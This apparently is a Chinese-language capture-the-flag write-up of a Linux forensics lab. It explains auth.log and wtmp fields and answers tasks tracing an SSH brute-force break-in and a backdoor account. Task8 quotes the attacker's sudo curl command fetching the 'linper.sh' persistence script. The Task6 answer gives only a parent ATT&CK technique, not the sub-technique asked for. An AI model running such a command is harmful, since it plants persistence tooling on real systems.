类别:linux 取证、DFIR
此靶场提供了两个文件:auth.log,wtmp
这个靶场的考点主要是关于 linux 下 auth.log、wtmp 文件的知识点,可以增加对 auth.log 文件的认识,也是在取证中比较常看的日志文件。
auth.log 文件是 Linux 系统中用于记录与身份验证相关的日志文件,特别是在基于 Debian 的发行版上。它主要记录了系统的身份验证事件,包括成功和失败的登录尝试、用户切换、sudo 命令使用、SSH 连接等。
auth.log 的各个字段介绍:
- 时间戳:日志生成的日期和时间
- 主机名:linux 机器的名称
- 进程名:进程名称
- 进程 ID:进程 ID 标识符
- 用户:身份验证过程中涉及的用户名
- 认证状态:详细说明身份验证尝试是成功还是失败
- ip 地址:尝试远程连接的 ip
- 消息内容:
Aug 8 12:34:56 hostname sshd[12345]: Failed password for root from 192.168.1.100 port 54321 ssh2
WTMP 文件
wtmp 文件在 mac 上可以使用utmpdump工具查看,在 linux 服务器上如果查看 wtmp 日志,则使用last
命令即可。
utmpdump
的输出包含了从wtmp
文件的二进制格式解码的多个字段。 下面是各个字段的介绍:
- 类型:这表示记录的类型,例如用户登录或注销、系统启动或关机事件。
- 进程 ID:与事件相关的进程标识符
- 线路:用户登录的终端线路(tty 或 pts)
- 标识:与线路字段相关的简短标识符
- 用户:与事件关联的用户名
- 主机:如果适用,用户访问系统的主机名或 IP 地址
- 退出:会话或进程的退出状态
- 会话:会话 ID
- 时间:事件的时间戳。
- 地址:额外的地址信息,在远程登录的情况下可能是 IP 地址
Task1 通过查看 auth.log 日志,我们能否找出攻击者在进行暴力破解时所使用的 IP 地址?
cat auth.log | grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r xxx --color=auto | grep "Invalid user"
65.2.161.68
Task2 通过蛮力攻击,攻击者成功地侵入了服务器上的一个账户。那么,这个账户的用户名是什么呢?
root
Task3 你能确定攻击者亲自登录服务器执行其计划的具体时间点吗?
有时差,得减 8,14:32:45 - 8:00:00 = 06:32:45
2024-03-06 06:32:45
Task4 SSH 会话在用户登录时进行追踪,并为每个会话分配一个编号。在问题 2 描述的情境中,攻击者使用的账户登录后,其会话被赋予了哪个编号呢?
cat auth.log | grep "root"
37
Task5 攻击者为了在服务器上长期保持控制权,创建了一个新的用户账号,并为这个账号设置了更高的权限等级。那么,这个账号的名称是什么呢?
cat auth.log | grep "Accept"
cyberjunkie
Task6 MITRE ATT&CK 持久化所用的子技术 ID 是什么?
https://attack.mitre.org/techniques/T1136
Task7 根据之前确认的登录时间以及在认证日志文件中记录的会话结束时间,我们可以计算出攻击者首次通过 SSH 连接的持续时长是多少秒?
从 32.45 到 37:24
240+39
Mar 6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Session 37 logged out. Waiting for processes to exit.
Task8 攻击者登录了他们的后门账户,并利用其更高权限下载了一个脚本。使用 sudo 执行的完整命令是什么?
/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh